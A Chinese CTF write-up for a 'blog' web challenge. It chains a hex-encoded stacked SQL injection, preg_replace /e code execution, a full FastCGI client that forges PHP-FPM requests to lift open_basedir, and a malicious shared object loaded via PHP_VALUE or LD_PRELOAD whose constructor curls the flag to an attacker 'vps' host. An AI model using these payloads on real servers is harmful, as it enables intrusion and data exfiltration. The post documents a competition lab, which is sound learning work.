周末做了一个字节跳动的CTF比赛,其中blog这道题涉及到了disable_functions和open_basedir的限制。在0CTF中出现了类似的考法,给了命令执行点去Bypass Disable_functions&Open_basedir,以前没有做过相关的题,这次记录一下思路和用到的脚本。
关于0CTF的题解,参考飘零师傅:深入浅出LD_PRELOAD & putenv()
前情提要
当然这题不像0ctf上来就给了你命令执行点,要挖掘一下。简单记一下wp,这部分不细讲。首先是给了全部的源码,在replace.php页面有一个重要功能
题目的PHP环境是5.3.3所以preg_replace
函数是存在一个代码执行的,正好参数又是可控,$replace部分将会被当作php代码执行。
只不过需要先从库里执行这样一句话:$sql->query("select isvip from users where id=" . $_SESSION['id'] . ";")
取校验是否isvip==1,默认注册的所有用户isvip==0。
通过某种方式改变自己的isvip
字段,看了下config.php出题人还上了一个waf,直接注入基本不可能。但是它没有过滤SET这个关键词,而且PDO在php5.3以后是支持多条查询的,这给我们堆叠注入创造了机会。
在edit.php
有一个很典型的二次注入,太长时间没接触一时没看出来。虽然$title在第一次入库时是经过了addslashes,但是在mysql存储的时候并不会加入,导致
edit.php
页面引入之前存储的title字段产生成二次注入。
直接贴payload,注入语句用16进制代替在@SQL中了,这种绕过思路在强网杯的题目上也有用到。也可以用concat()+16进制单字符绕。
hpdoger';SET @SQL=0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227;PREPARE pord FROM @SQL;EXECUTE pord;#
0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227
=>
UPDATE users SET isvip=1 WHERE username='hpdoger'
isvip==1就能代码执行了,phpinfo()看了一下,有disable_funcions和open_basedir的限制,而且过滤跟0CTF那道题很相似,但是没有安装Imagick拓展
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail
什么是FastCGI和FPM
举个例子,如果我们请求index.php,根据配置文件,Web Server知道这个不是静态文件,需要去找 PHP 解析器来处理,那么他会把这个请求简单处理,然后交给PHP解析器。Web Server 一般指Apache、Nginx、IIS、Lighttpd、Tomcat等服务器
CGI&FastCGI
首先浅谈一下CGI&FastCGI,深入了解这些机制可以参考:PHP 连接方式介绍以及如何攻击 PHP-FPM
CGI(Common Gateway Interface)全称是“通用网关接口”,WEB 服务器与PHP应用进行“交谈”的一种工具。WEB服务器会传哪些数据给PHP解析器呢?URL、查询字符串、POST数据、HTTP header都会有。所以,CGI就是规定要传哪些数据,以什么样的格式传递给后方处理这个请求的协议。
FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。
FastCGI的工作原理如下:
1、Web Server启动时载入FastCGI进程管理器(Apache Module或IIS ISAPI等)
2、FastCGI进程管理器自身初始化,启动多个CGI解释器进程(可建多个php-cgi),并等待来自Web Server的连接。
3、当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。
4、FastCGI子进程完成处理后,将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。FastCGI子进程接着等待,并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中,php-cgi在此便退出了。
PHP-FPM
FPM(php-fastcgi program manager)顾名思义,这是一个PHP专用的 fastcgi 管理器。也就是说,PHP-FPM 是对于 FastCGI 协议的具体实现,他负责管理一个进程池,来处理来自Web服务器的请求。目前,PHP5.3版本之后,PHP-FPM是内置于PHP的。因为PHP-CGI只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理。所以就出现了一些能够调度 php-cgi 进程的程序,比如说由lighthttpd分离出来的spawn-fcgi。同样,PHP-FPM也是用于调度管理PHP解析器php-cgi的管理程序。
open_basedir的绕过
前提是我们能够执行一段php程序来伪造FastCGI.php
在PHP中:
- 可以通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir 同样可以通过此种方法进行设置。比如:
$php_value = "open_basedir = /";
- 因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程,我们可以伪造FastCGI向FPM发起请求,PHP_VALUE相当于改变.ini中的设置,覆盖了本身的open_basedir
FastCGI脚本
<?php
class TimedOutException extends Exception {
}
class ForbiddenException extends Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
$this->_host = $host;
$this->_port = $port;
}
public function setKeepAlive( $b ) {
$this->_keepAlive = (boolean) $b;
if ( ! $this->_keepAlive && $this->_sock ) {
fclose( $this->_sock );
}
}
public function getKeepAlive() {
return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
$was_persistent = ( $this->_sock && $this->_persistentSocket );
$this->_persistentSocket = (boolean) $b;
if ( ! $this->_persistentSocket && $was_persistent ) {
fclose( $this->_sock );
}
}
public function getPersistentSocket() {
return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
$this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
if ( ! $this->_sock ) {
return false;
}
return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
if ( ! $this->_sock ) {
if ( $this->_persistentSocket ) {
$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
} else {
$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
}
if ( ! $this->_sock ) {
throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
}
if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
throw new Exception( 'Unable to set timeout on socket' );
}
}
}
private function buildPacket( $type, $content, $requestId = 1 ) {
$clen = strlen( $content );
return chr( self::VERSION_1 ) /* version */
. chr( $type ) /* type */
. chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
. chr( $requestId & 0xFF ) /* requestIdB0 */
. chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */
. chr( $clen & 0xFF ) /* contentLengthB0 */
. chr( 0 ) /* paddingLength */
. chr( 0 ) /* reserved */
. $content; /* content */
}
private function buildNvpair( $name, $value ) {
$nlen = strlen( $name );
$vlen = strlen( $value );
if ( $nlen < 128 ) {
/* nameLengthB0 */
$nvpair = chr( $nlen );
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
}
if ( $vlen < 128 ) {
/* valueLengthB0 */
$nvpair .= chr( $vlen );
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
$array = array();
if ( $length === null ) {
$length = strlen( $data );
}
$p = 0;
while ( $p != $length ) {
$nlen = ord( $data{$p ++} );
if ( $nlen >= 128 ) {
$nlen = ( $nlen & 0x7F << 24 );
$nlen |= ( ord( $data{$p ++} ) << 16 );
$nlen |= ( ord( $data{$p ++} ) << 8 );
$nlen |= ( ord( $data{$p ++} ) );
}
$vlen = ord( $data{$p ++} );
if ( $vlen >= 128 ) {
$vlen = ( $nlen & 0x7F << 24 );
$vlen |= ( ord( $data{$p ++} ) << 16 );
$vlen |= ( ord( $data{$p ++} ) << 8 );
$vlen |= ( ord( $data{$p ++} ) );
}
$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
$p += ( $nlen + $vlen );
}
return $array;
}
private function decodePacketHeader( $data ) {
$ret = array();
$ret['version'] = ord( $data{0} );
$ret['type'] = ord( $data{1} );
$ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
$ret['paddingLength'] = ord( $data{6} );
$ret['reserved'] = ord( $data{7} );
return $ret;
}
private function readPacket() {
if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
$resp = $this->decodePacketHeader( $packet );
$resp['content'] = '';
if ( $resp['contentLength'] ) {
$len = $resp['contentLength'];
while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
$len -= strlen( $buf );
$resp['content'] .= $buf;
}
}
if ( $resp['paddingLength'] ) {
$buf = fread( $this->_sock, $resp['paddingLength'] );
}
return $resp;
} else {
return false;
}
}
public function getValues( array $requestedInfo ) {
$this->connect();
$request = '';
foreach ( $requestedInfo as $info ) {
$request .= $this->buildNvpair( $info, '' );
}
fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
$resp = $this->readPacket();
if ( $resp['type'] == self::GET_VALUES_RESULT ) {
return $this->readNvpair( $resp['content'], $resp['length'] );
} else {
throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
}
}
public function request( array $params, $stdin ) {
$id = $this->async_request( $params, $stdin );
return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand( 1, ( 1 << 16 ) - 1 );
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval( $this->_keepAlive || $this->_persistentSocket );
$request = $this->buildPacket( self::BEGIN_REQUEST
, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
, $id
);
$paramsRequest = '';
foreach ( $params as $key => $value ) {
$paramsRequest .= $this->buildNvpair( $key, $value, $id );
}
if ( $paramsRequest ) {
$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
}
$request .= $this->buildPacket( self::PARAMS, '', $id );
if ( $stdin ) {
$request .= $this->buildPacket( self::STDIN, $stdin, $id );
}
$request .= $this->buildPacket( self::STDIN, '', $id );
if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
$info = stream_get_meta_data( $this->_sock );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Write timed out' );
}
// Broken pipe, tear down so future requests might succeed
fclose( $this->_sock );
throw new Exception( 'Failed to write request to socket' );
}
$this->_requests[ $id ] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
if ( ! isset( $this->_requests[ $requestId ] ) ) {
throw new Exception( 'Invalid request id given' );
}
if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
|| $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[ $requestId ]['response'];
}
if ( $timeoutMs > 0 ) {
// Reset timeout on socket for now
$this->set_ms_timeout( $timeoutMs );
} else {
$timeoutMs = $this->_readWriteTimeout;
}
$startTime = microtime( true );
do {
$resp = $this->readPacket();
if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
if ( $resp['type'] == self::STDERR ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
}
if ( $resp['type'] == self::END_REQUEST ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
if ( $resp['requestId'] == $requestId ) {
break;
}
}
if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
// Reset
$this->set_ms_timeout( $this->_readWriteTimeout );
throw new Exception( 'Timed out' );
}
} while ( $resp );
if ( ! is_array( $resp ) ) {
$info = stream_get_meta_data( $this->_sock );
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout( $this->_readWriteTimeout );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Read timed out' );
}
if ( $info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof'] ) {
throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
}
throw new Exception( 'Read failed' );
}
// Reset timeout
$this->set_ms_timeout( $this->_readWriteTimeout );
switch ( ord( $resp['content']{4} ) ) {
case self::CANT_MPX_CONN:
throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
break;
case self::OVERLOADED:
throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
break;
case self::UNKNOWN_ROLE:
throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
break;
case self::REQUEST_COMPLETE:
return $this->_requests[ $requestId ]['response'];
}
}
}
$client = new Client("unix:///tmp/php-cgi.sock", -1);
$php_value = "open_basedir = /";
$filepath = '/tmp/readflag.php';
$content = 'hpdoger';
echo $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen( $content ),
'PHP_VALUE' => $php_value,
),
$content
);
题目复现
回到这个题目,首先我们找到P神有一篇文章PHP绕过open_basedir列目录的研究
上传一个php到/tmp下,包含之后列一下根目录存在哪些文件
copy('http://vps/log2.txt','/tmp/scandir.php')
*lo2.txt*=>
<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
使用同样的copy方法上传我们的FastCGI脚本,脚本中php_value
的值是我们的FastCGI要传给FPM的值用来修改php.ini,并且根据SCRIPT_FILENAME
对php文件进行执行/tmp/readflag.php
。
同时脚本还要修改的地方,就是使用套接字协议去加载socket。Nginx连接fastcgi的方式有2种:TCP和unix domain socket,脚本使用的即第二种形式。根据不同的php版本,找不同的fastcgi的套接字。在0CTF的题目中,大家用的是php7.2默认的FPM套接字/run/php/php7.3-fpm.sock)
,其实FastCGI/FPM套接字都可以用,但是php5的默认
出题人在tmp目录已经给我们FastCGI的套接字/tmp/php-cgi.sock
,直接修改脚本
new Client("unix:///tmp/php-cgi.sock", -1)
同时我们还要上传一个readflag.php文件作为脚本的SCRIPT_FILENAME
,这里我让FPM为我们加载这样一个php脚本,成功读到readflag程序。但此时我们仍需要bypass disable_functions
<?php
var_dump(file_get_contents('/readflag'));
Disable_functions的绕过
FastCGI加载so
看了下Disable_functions留给我们的有putenv()
关于LD_PRELOAD与putenv也就不过多介绍了,飘零师傅文章写的很详细。大意就是把恶意的so文件加载到环境变量中去执行,而so是我们编译出来的c文件,包含rce的语句,这也是当时0CTF的解题思路。
不过在这道题中,没有安装Imagick,也没有mail函数。但是还有一个函数也会调用sendmail去开进程->error_log,后面会复现一下error_log的做法。
那么既然putenv()+函数是把so文件加载到环境变量中再去调用,那么我们fastcgi也完全可以做同样的事,只需要更改一下上面脚本的 php_value
给ini添加一个extender就行了
$php_value = "allow_url_include = Onnsafe_mode = Offnopen_basedir = /nextension_dir = /tmpnextension = hpdoger.son
编译一个恶意的c文件hpdoger.c
,这里直接用网上亘古不变的写法
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("curl vps:6666/`/readflag`");
}
通过shared命令编译gcc hpdoger.c -fPIC -shared -o hpdoger.so
,依然是通过copy命令上传fastcgi.php和hpdoger.so,此时/tmp下应该有这两个文件
copy('http://vps/hpdoger.so','/tmp/hpdoger.so')
直接包含fastcgi就能加载并调用hpdoger.so->bypass base_opendir->rce
find=.*/e%00&replace=include('/tmp/fastcgi.php')&id=4184®ex=1`
LD_PRELOAD加载so
前文提到mail被Disable_functions了,但是mail和error_log都调用了外部进程sendmail。这里编写一个php来调用error_log,然后代码执行包含这个/tmp下的php即可rce
<?php
putenv("LD_PRELOAD=/tmp/hpdoger.so");
error_log('',1);
?>
总结
自闭点在于本地环境和远程环境真的是两个概念,mac环境gcc编译和ubuntu的gcc编译出来的东西天壤之别..
发表评论
您还未登录,请先登录。
登录